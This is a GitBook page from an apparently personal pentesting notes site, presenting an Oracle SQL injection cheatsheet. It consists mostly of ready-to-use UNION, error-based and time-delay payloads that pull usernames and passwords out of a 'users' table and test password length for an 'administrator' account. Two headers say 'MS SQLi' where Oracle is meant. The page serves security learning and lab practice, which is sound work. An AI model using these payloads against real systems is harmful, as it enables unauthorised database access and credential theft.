Hack Notes
GithubTwitterTryHackMeHackTheBox
  • Hack Notes
    • # whoami
  • 🕸️Web Application Security
    • Web Application Security Notes
      • SQL Injection
        • Basic Microsoft SQL injection Cheatsheet
        • Basic PostgreSQL injection Cheatsheet
        • Basic MySQL Injection Cheatsheet
        • Basic Oracle SQLi Cheatsheet
      • Authentication Vulnerabilities
        • Authentication Flaws Checklist
        • Authentication Vulnerability Practical
      • Directory Travarsal
        • Directory Traversal Lab
      • Command Injection
        • Command Injection Labs
      • Business logic flaws
        • Business Logic Vulnerabilities Labs
      • Information Disclosure
        • Information Disclosure Labs
      • Access Control
        • Broken Access Controls in Practice
      • File Upload Vulnerability
      • Server Side Request Forgery (SSRF)
      • XML External Entity Injections
      • Web Penetration Testing Tools
  • 📖Writeups
    • TryHackMe
      • The advent of Cyber 1 (2019)
      • THM Basic Pen-Testing Machine
      • THM Room CC: Pentesting
      • THM Machine DailyBugle
      • THM Machine Fortress
      • THM Machine Internal
      • THM Room: OWASP Top 10 Answers
      • THM Machine: Overpass
      • THM Machine: Overpass 2 - Hacked
      • THM Machine: Overpass 3 - Hosting
      • THM Room: Pickle Rick CTF
      • THM Machine Relevant
      • THM Machine: SkyNet
      • THM Room: Web Fundamentals
  • ☠️CNWPP
    • CNWPP
      • CNWPP Content
      • Week #1 Introduction to Pentest
      • Week #2 Pentesting Methodologies
      • Week #3 Network Pentesting
      • Week #4 Web Application Pentesting
  • 🏛️Active Directory (AD)
    • Active Directory Attacks
      • LLMNR Poisoning Attack
      • SMB Relay Attack
      • IPv6 Attacks
        • IPv6 Attack In Action
      • Kerberos
        • Kerberos Pre Authentication Attack
        • Kerberoasting
        • DCsync Attack
Powered by GitBook
On this page
  • Oracle SQl Injection Cheatsheet
  • Retrieving Database version
  • String Concatenation
  • Substring
  • Comments
  • Database Contents
  • Time delays
  • Conditional Time delays

Was this helpful?

  1. Web Application Security
  2. Web Application Security Notes
  3. SQL Injection

Basic Oracle SQLi Cheatsheet

Oracle SQl Injection Cheatsheet

Retrieving Database version

SELECT banner FROM v$version
SELECT version FROM v$instance

UNION SQLi Context

' UNION SELECT NULL,banner FROM v$version -- -
' UNION SELECT NULL,version FROM v$version

Note: In UNION Statement we have to match the number of columns of first select statement so that's why we use one NULL in the payload you can modify that according to your requirements

String Concatenation

'string1' || 'string2'
SELECT username || ":" || password FROM users;

In a UNION SQLi Context

' UNION SELECT NULL,username || ":" || password FROM Users -- -

Substring

SELECT SUBSTR(password,2,1) FROM users 

In the UNION SQLi context

' UNION SELECT SUBSTR(password,2,1) FROM users -- -

Comments

--comment

Database Contents

List All Tables

SELECT table_name FROM all_tables;

In a UNION Oracle SQLi context

' UNION SELECT NULL,table_name FROM all_tables -- -

List All Columns

SELECT column_name FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

In UNION MS SQLi

' UNION SELECT column_name FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' -- -

Conditional Errors

SELECT CASE WHEN LENGTH(password) = 3 THEN TO_CHAR(1/0) ELSE NULL END FROM users WHERE username='administrator'

In UNION MS SQLi

' UNION SELECT NULL,NULL,CASE WHEN LENGTH(password)=FUZZ THEN TO_CHAR(1/0) ELSE NULL END FROM users WHERE username='administrator'

Time delays

dbms_pipe.receive_message(('a'),10)

Conditional Time delays

SELECT CASE WHEN (LENGTH(password) = 3) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM users where username = 'administrator'

In UNION Oracle SQLi

' UNION SELECT NULL,NULL,CASE WHEN (LENGTH(password) = 3) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM users where username = 'administrator'
PreviousBasic MySQL Injection CheatsheetNextAuthentication Vulnerabilities

Last updated 2 years ago

Was this helpful?

🕸️